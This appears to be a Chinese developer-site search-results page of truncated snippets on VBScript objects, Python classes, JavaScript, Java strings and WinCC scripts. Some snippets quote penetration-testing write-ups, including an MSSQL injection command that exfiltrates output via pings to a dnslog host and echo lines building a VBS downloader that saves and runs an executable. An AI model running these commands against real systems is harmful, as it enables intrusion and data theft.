首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

VBS基础篇 - 对象(3) - FileSystemObject对象

文件系统是所有操作系统最重要的部分之一,脚本经常会需要对文件及文件夹进行访问和管理,在Vbs中对桌面和文件系统进行访问的顶级对象是FileSystemObject(FSO),这个对象特别复杂,是vbs...FSO包含的常见对象有: 对象/集合 描述 Drive 包含储存设备的信息,包括硬盘、光驱、ram盘、网络驱动器 Drives 提供一个物理和逻辑驱动器的列表 File 检查和处理文件 Files 提供包含在文件夹内的所有文件的列表...Folder 检查和处理文件夹 Folders 提供在 Folder 内的所有文件夹的列表 TextStream 对象。...如何使用FSO 要用FSO对象模型来编程,使用CreateObject方法来创建FileSystemObject对象,例如:   Dim fso Set fso = wscript.createobject...至此我们获取了fso对象,接下来就可以使用fso对象了。

97531
您找到你想要的搜索结果了吗?
是的
没有找到

520对象?那来学下Python类与对象

Python中一切皆对象,所以很有必要了解一下类和对象的概念。 类可以看成是抽象的模板,比如:智能手机。...对象就是根据这个模板制造出来的实物,比如iPhone ,华为,小米,OPPO等各种品牌的智能手机。 类定义 类包含属性和方法,描述具有共同属性和行为的一类事物。...self的叫实例方法 def study(self): print("学生要学习") 类属性和实例方法的调用 #打印类属性 print(Students.people) #创建实例化对象...类方法,使用装饰器@classmethod标识,第一个参数必须是cls,表示类对象 静态方法,使用修饰器@staticmethod标识,不需要定义特殊参数 2.访问权限 实例方法可以使用类属性和实例属性...3.三者的调用的区别 调用实例方法必须先实例化对象 s=Students("小明") s.study() 静态方法,类方法可以使用实例对象和类对象(类名)去访问 s.write("语文") Students.write

32842

对象?new一个呗😝

当使用new关键字调用一个函数时,它会执行以下操作:创建一个空的简单 JavaScript 对象(即  {} );为步骤 1 新创建的对象添加属性  __proto__ ,将该属性链接至构造函数的原型对象...;将步骤 1 新创建的对象作为 this 的上下文;如果该函数没有返回对象,则返回 this。...创建一个用户自定义的对象需要两步:通过编写函数来定义对象类型。通过 new 来创建对象实例。new关键字的原理为了更好地理解new关键字背后的原理,我们可以手动实现一个简化版的new操作符。...(obj, args); // 如果构造函数返回了一个对象,则返回该对象;否则返回新创建的对象 return typeof result === 'object' && result !...通过使用new关键字调用这两个构造函数,我们可以分别创建一个名为john的男朋友对象和一个名为lisa的女朋友对象。最后,我们打印出这两个对象实例,可以看到它们分别具有相应的属性值。

18730

Windows系统未激活或key不合适,导致内存只能用到2G

Windows有个坑是系统激活导致的。...性能页签里的内存 → 右下侧看到为硬件保留的内存多少G(这里是四舍五入的,resmon命令显示的那个更为精确)图片在微软windows internals这本书里有记录,跟激活或者说license相关的限制,在一些激活的场景里.../ipk ProductKey #执行完,值立马由1960变成56184重启系统内存恢复正常最后再执行slmgr.vbs /ato激活下方法二:slmgr.vbs /rilc #值未变化还是1960...开关机相关的事件ID:12,13,6005,6006,6008,41,1074内存不足的事件ID:2004激活相关的事件ID:8197,8198,12288,12289这样过滤(一般来说用事件ID过滤效率高,过滤快...,如果用description里的字符串过滤,效率会差一些,过滤慢)或者一般来说,长期内存不足后,某次激活失败了,然后重启机器出现了2G内存的限制。

6.5K21

String对象的那些事,几行代码就解释清清楚楚

并且每次new一个String对象时,即使字符串内容相同,也会新开辟一片空间存储对象,因此z和zCopy地址也是不用的。 这部分的细节原理在下一部分中解释。...String对象的那些事,几行代码就解释清清楚楚 可以看到,常量池中最中只保留了一份"a"的引用。因为在String z = "a";执行时,字符串常量池中已经有"a"的引用了,不会重复创建。...String对象的那些事,几行代码就解释清清楚楚 可以看出,最终常量池只存储了"Geralt"和"Yennefer"两个引用,而没有存放拼接的结果。...因此,我们应该在for循环外部先定义一个StringBuilder对象,这样只新建了一个对象就完成了任务,效率大增。...原来,当一个对象调用intern方法时,会查看常量池是否有与当前对象内容相同的字面量,如果有,就直接返回常量池中的引用信息,如果没有,就在常量池中补充当前对象的字面量,然后返回引用。

38020

WinCC 画面中脚本的队列

在WinCC画面中存在四个脚本队列,分别是事件触发的VBS脚本、周期触发的VBS脚本、事件触发的C脚本、周期触发的C脚本。...事件触发脚本是指在对象的事件中编写的脚本,例如,按钮的按下事件,或者输出输入域的输出值改变触发的事件。...画面中周期触发的脚本,是指画面对象动态化属性的脚本,也就是写在画面对象属性中“动态”下的脚本,例如,下图所示为矩形对象的动态化脚本。...在对象动态化脚本中可以设置脚本的触发方式,支持事件触发(变量改变时触发)以及周期触发,如下图所示。经测试,这里的脚本(包括变量改变时触发的脚本)都属于周期触发的脚本。...不同队列里的脚本互不影响,相同队列里的脚本需要按顺序执行,当前面的脚本执行完时,后面的脚本需要排队。 同一队列里的脚本需要排队 下面以一个示例来说明这个问题。

1.6K30

实战 | 记一次邮件系统C段引发的SQL手注和内网渗透

截到图,为了不打草惊蛇所以先 pass。...此时我开始测试各种奇怪的方法,比如写出写出写出 vbs 执行程序,vbs 写 txt,,写出 bat 执行程序 结果当然是,没有找到 vbs 写出的 txt,vbs 压根执行成功,bat 里面放了个...然后认真检查脚本 啊这,我上传脚本的变量大小改。。。。。。。。...然而幻想是很美好的,我们还是先打 tmd 一个出网的机器 这个破 DNS 实在是太太太太太太慢了,如何漫游呢? 答案当然先是使用 vbs,wmiexec,不过咱们先把本机凭据抓了。...成功 dump 出 hash 然后上传 wmiexec.vbs,执行 发现了一个问题 怪不得 nmd 什么 vbs 都执行不了,原来是这个关了,想执行 reg add 修改组策略。

1K10

MSSQL注入之无回显利用实战案例

26findstr+/L+/V+CERTIFICATE+temp1>temp2%26for+/F+%i+in+('type+temp2')+do+ping+-n+1+%i.dnslog 执行以下命令时注意多个单双引号的闭合问题...最后发现也可以利用@倾旋师傅在“Regsvr32 ole对象”这篇文章中提到的httplog方式来解决这个问题。...(4) 查看杀软进程 执行以下命令可以将目标主机正在运行的进程列表给外带出来,在确定没有安全防护软件的情况下可以直接将CS/MSF文件落地到磁盘执行上线,不过也注意上边提到的cmd /c、| 转义和空格等问题...()>>C:\down.vbs echo+Set+aGet+=+CreateObject("ADODB.Stream")>>C:\down.vbs echo+aGet.Mode+=+3>>C:\down.vbs...\down.vbs echo+aGet.SaveToFile+"C:\360.exe",2>>C:\down.vbs echo+Shell.Run+("C:\360.exe")>>C:\down.vbs

2.7K10

VBSvbs指定编码保存文本文件(含xml、ini什么的)

我那安装包在安装期间有这个动作: - 让用户填写一些信息,待安装完成后把这些信息写入软件安装目录中的指定ini、xml文件中 上文说的是如何用vbs写ini,ini搞完了,这下搞xml。...本来借助xml完善的DOM实现,包括vbs在内的大多数语言操作xml都很容易,调用Microsoft.XMLDOM对象即可,比如: Dim doc Set doc = CreateObject("Microsoft.XMLDOM...adModeReadWrite] stream.Charset = "utf-8" '指定编码 stream.Open '打开流 doc.save stream '关键就在这,save不一定是写到文件,还可以写到流对象...stream.SaveToFile "c:\a.xml", 2 '用流对象来存文件 stream.Close '关闭流 简单说就是用DOMDocument对象来操作xml,用Stream对象来保存文件...解决这问题有点瞎猫撞死耗子,就是DOMDocument的save方法的文档(http://msdn.microsoft.com/en-us/library/ms753769(v=vs.85).aspx)我看了N遍,就发现有

1.1K10

使用vbscript替换excel文件的内容

从接手webgame开始,看到那么多的excel文件被翻译为繁体,我的头就小过。现在因为新版本的问题又得重新翻译一次,经历过上一次惨痛的过程,这一次变懒了。...比如“充值” –> “储值”、“信息”-> “訊息”、“设置”->“設定”等等,很多…,还有就是一段任务的描述,对方在测试时也觉得要进行修改、调整,这个时候也重新生成,然后打包、上传、更新版本号…...然后想想说用vbs写个程序吧,毕竟有近200个文件呢,不太想写个宏,然后把一百多个文件打开都来执行一个这个宏命令。...> 开始替换 VBS..." & MSecs,1 , True 138: End Sub 139:  140: '"Automation服务器不能创建对象" 的多种解决办法 141: 'http://www.cnblogs.com

2K20

h3c bios密码_日本服务器ip端口密码

个 通 信 过 程 , 先 445 − > 137 − > 139 验 证 , 当 你 开 启 防 火 墙 禁 用 445 , 发 现 系 统 命 令 就 无 法 连 接 I P C 了 , 根 本 ...这 个 系 统 的 I P C 的说法是错误的,就像说wmiexec.vbs可完全替代PSEXEC工具一样,这个脚本需要目标开启135和445,因为它通过445来传输结果,意味着目标只开放135这个VBS...的回显就没有了,其实假设目标只开放445,这个VBS脚本还能执行命令吗?...这个系统的IPC 的说法是错误的,就像说wmiexec.vbs可完全替代PSEXEC工具一样,这个脚本需要目标开启135和445,因为它通过445来传输结果,意味着目标只开放135这个VBS的回显就没有了...,其实假设目标只开放445,这个VBS脚本还能执行命令吗?

1.6K50

为什么不应该公开用来同步的加锁对象?为什么不应该 lock(this)lock(string) 或者 lock 任何非私有对象

扩展 从以上的例子可以看出,不止是 lock (this) 会出现“难以捉摸”的死锁问题,lock 任何公开对象都会这样。...lock 公开的属性 public class Foo { public object SyncRoot { get; } = new object(); } 只要在 A 处 lock 这个对象的同时...,在另一个线程调用了同样 lock 这个对象的 B 处的代码,必然死锁。...编译期间能确定的相同字符串,在运行期间是相同的实例 - walterlv .NET/C# 编译期能确定的字符串会在字符串暂存池中不会被 GC 垃圾回收掉 - walterlv lock 其他任何可能被其他对象获取的公开对象...比如 Type 对象,比如其他公共静态对象

49210
领券